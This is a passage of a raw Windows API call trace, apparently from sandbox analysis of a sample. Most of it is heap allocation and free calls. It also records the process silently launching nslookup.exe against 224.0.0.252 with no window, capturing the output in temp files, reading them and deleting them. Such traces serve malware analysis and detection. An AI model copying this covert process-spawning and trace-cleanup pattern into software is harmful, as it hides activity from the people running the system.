(in: lpFileName="C:\\Windows\\TEMP\\RRLC680.tmp" (normalized: "c:\\windows\\temp\\rrlc680.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dcaaad0, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x3dcaaad0, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x3dcaaad0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0055.125] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\RRLC680.tmp", dwFileAttributes=0x80) returned 1 [0055.125] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\RRLC680.tmp" (normalized: "c:\\windows\\temp\\rrlc680.tmp")) returned 1 [0055.125] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0055.125] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eec80) returned 1 [0055.125] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0055.125] NtClose (Handle=0x164) returned 0x0 [0055.125] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f4a00) returned 1 [0055.125] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f45f8) returned 1 [0055.125] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed648 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed368 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a80 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed378 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ac8 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed388 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b10 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed398 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f98d0 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21effc0 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed648) returned 1 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0055.126] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed578 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21ebc08 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed258 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9960 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed358 [0055.126] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99f0 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed468 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4c8 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9e28 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4b8 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3f8 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed268 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a80) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed368) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ac8) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed378) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b10) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed388) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f98d0) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed398) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9768) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed328) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9840) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed318) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9a38) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed578) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21effc0) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9b58) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3a8) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9ba0) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3b8) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9be8) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3c8) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c30) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3d8) returned 1 [0055.127] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed630) returned 1 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x20) returned 0x21effc0 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3d8 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c30 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3c8 [0055.127] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9be8 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3b8 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9ba0 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3a8 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9b58 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed578 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9a38 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed318 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9840 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed328 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9768 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9960) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed258) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99f0) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed358) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9d98) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed468) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9e28) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4c8) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed4b8) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed3f8) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ed268) returned 1 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21ebc08) returned 1 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0055.128] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0055.128] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9918) returned 1 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed630 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed268 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9918 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0055.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f97b0, cbMultiByte=11, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 11 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0055.129] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x21f97b0, cbMultiByte=11, lpWideCharStr=0x21eeb70, cchWideChar=11 | out: lpWideCharStr="224.0.0.252") returned 11 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0055.129] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0055.129] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0055.129] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0055.131] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0055.131] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0055.131] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0055.131] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0055.132] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0055.132] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0055.132] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0055.133] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0055.133] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0055.133] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="pd", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\pdD6D6.tmp" (normalized: "c:\\windows\\temp\\pdd6d6.tmp")) returned 0xd6d6 [0055.133] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0055.133] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f45f8 [0055.134] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\pdD6D6.tmp", lpszShortPath=0x21f45f8, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\pdD6D6.tmp") returned 0x1a [0055.134] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0055.134] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0055.134] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0055.134] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f2f60 [0055.134] CryptAcquireContextW (in: phProv=0x18f8fc, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8fc*=0x606610) returned 1 [0055.135] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f910 | out: pbBuffer=0x18f910) returned 1 [0055.135] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0055.135] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eeb70 [0055.135] CryptAcquireContextW (in: phProv=0x18f8f8, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x18f8f8*=0x606610) returned 1 [0055.135] CryptGenRandom (in: hProv=0x606610, dwLen=0x4, pbBuffer=0x18f90c | out: pbBuffer=0x18f90c) returned 1 [0055.135] CryptReleaseContext (hProv=0x606610, dwFlags=0x0) returned 1 [0055.136] GetTempFileNameW (in: lpPathName="C:\\Windows\\TEMP\\", lpPrefixString="N", uUnique=0x0, lpTempFileName=0x21f2f60 | out: lpTempFileName="C:\\Windows\\TEMP\\ND6D7.tmp" (normalized: "c:\\windows\\temp\\nd6d7.tmp")) returned 0xd6d7 [0055.136] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eeb70) returned 1 [0055.136] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x400) returned 0x21f4a00 [0055.136] GetShortPathNameW (in: lpszLongPath="C:\\Windows\\TEMP\\ND6D7.tmp", lpszShortPath=0x21f4a00, cchBuffer=0x100 | out: lpszShortPath="C:\\Windows\\TEMP\\ND6D7.tmp") returned 0x19 [0055.136] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f2f60) returned 1 [0055.136] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0055.136] CreateFileW (lpFileName="C:\\Windows\\TEMP\\pdD6D6.tmp" (normalized: "c:\\windows\\temp\\pdd6d6.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164 [0055.136] CreateFileW (lpFileName="C:\\Windows\\TEMP\\ND6D7.tmp" (normalized: "c:\\windows\\temp\\nd6d7.tmp"), dwDesiredAccess=0x4, dwShareMode=0x3, lpSecurityAttributes=0x18f9ac, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0055.137] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\\\nslookup.exe", lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x8000000, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18f9ec*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x100, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x164, hStdError=0x15c), lpProcessInformation=0x18f9b8 | out: lpCommandLine="C:\\Windows\\system32\\\\nslookup.exe 224.0.0.252", lpProcessInformation=0x18f9b8*(hProcess=0x160, hThread=0x158, dwProcessId=0x69c, dwThreadId=0xb2c)) returned 1 [0055.155] NtClose (Handle=0x158) returned 0x0 [0055.155] WaitForSingleObject (hHandle=0x160, dwMilliseconds=0xea60) returned 0x0 [0056.770] NtClose (Handle=0x164) returned 0x0 [0056.770] NtClose (Handle=0x15c) returned 0x0 [0056.772] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x80) returned 0x21eebf8 [0056.772] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\pdD6D6.tmp" (normalized: "c:\\windows\\temp\\pdd6d6.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f904 | out: lpFileInformation=0x18f904*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40489b50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x40489b50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x41428bb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0056.772] CreateFileW (lpFileName="C:\\Windows\\TEMP\\pdD6D6.tmp" (normalized: "c:\\windows\\temp\\pdd6d6.tmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0056.773] SetFileTime (hFile=0x15c, lpCreationTime=0x0, lpLastAccessTime=0x18f948, lpLastWriteTime=0x18f948) returned 0 [0056.773] GetFileSize (in: hFile=0x15c, lpFileSizeHigh=0x18f934 | out: lpFileSizeHigh=0x18f934*=0x0) returned 0x2b [0056.773] SetFilePointer (in: hFile=0x15c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f940*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f940*=0) returned 0x0 [0056.773] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0056.773] ReadFile (in: hFile=0x15c, lpBuffer=0x21f9c78, nNumberOfBytesToRead=0x2b, lpNumberOfBytesRead=0x18f974, lpOverlapped=0x0 | out: lpBuffer=0x21f9c78*, lpNumberOfBytesRead=0x18f974*=0x2b, lpOverlapped=0x0) returned 1 [0056.773] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0056.773] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0056.773] NtClose (Handle=0x15c) returned 0x0 [0056.773] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\pdD6D6.tmp" (normalized: "c:\\windows\\temp\\pdd6d6.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40489b50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x40489b50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x41428bb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x2b)) returned 1 [0056.774] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\pdD6D6.tmp", dwFileAttributes=0x80) returned 1 [0056.774] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\pdD6D6.tmp" (normalized: "c:\\windows\\temp\\pdd6d6.tmp")) returned 1 [0056.775] GetFileAttributesExW (in: lpFileName="C:\\Windows\\TEMP\\ND6D7.tmp" (normalized: "c:\\windows\\temp\\nd6d7.tmp"), fInfoLevelId=0x0, lpFileInformation=0x18f944 | out: lpFileInformation=0x18f944*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40489b50, ftCreationTime.dwHighDateTime=0x1d5dff7, ftLastAccessTime.dwLowDateTime=0x40489b50, ftLastAccessTime.dwHighDateTime=0x1d5dff7, ftLastWriteTime.dwLowDateTime=0x41428bb0, ftLastWriteTime.dwHighDateTime=0x1d5dff7, nFileSizeHigh=0x0, nFileSizeLow=0x3a)) returned 1 [0056.775] SetFileAttributesW (lpFileName="C:\\Windows\\TEMP\\ND6D7.tmp", dwFileAttributes=0x80) returned 1 [0056.775] DeleteFileW (lpFileName="C:\\Windows\\TEMP\\ND6D7.tmp" (normalized: "c:\\windows\\temp\\nd6d7.tmp")) returned 1 [0056.776] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0056.776] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0056.776] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21eebf8) returned 1 [0056.776] NtClose (Handle=0x160) returned 0x0 [0056.777] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f4a00) returned 1 [0056.777] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f45f8) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0056.777] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f99a8) returned 1 [0056.777] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0056.777] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x10) returned 0x21ed648 [0056.777] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed3f8 [0056.777] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f99a8 [0056.777] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0056.777] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4b8 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9e28 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, BaseAddress=0x21f9c78) returned 1 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9c78 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x8) returned 0x21ed4c8 [0056.778] RtlAllocateHeap (HeapHandle=0x21e0000, Flags=0x8, Size=0x40) returned 0x21f9d98 [0056.778] RtlFreeHeap (HeapHandle=0x21e0000, Flags=0x0, 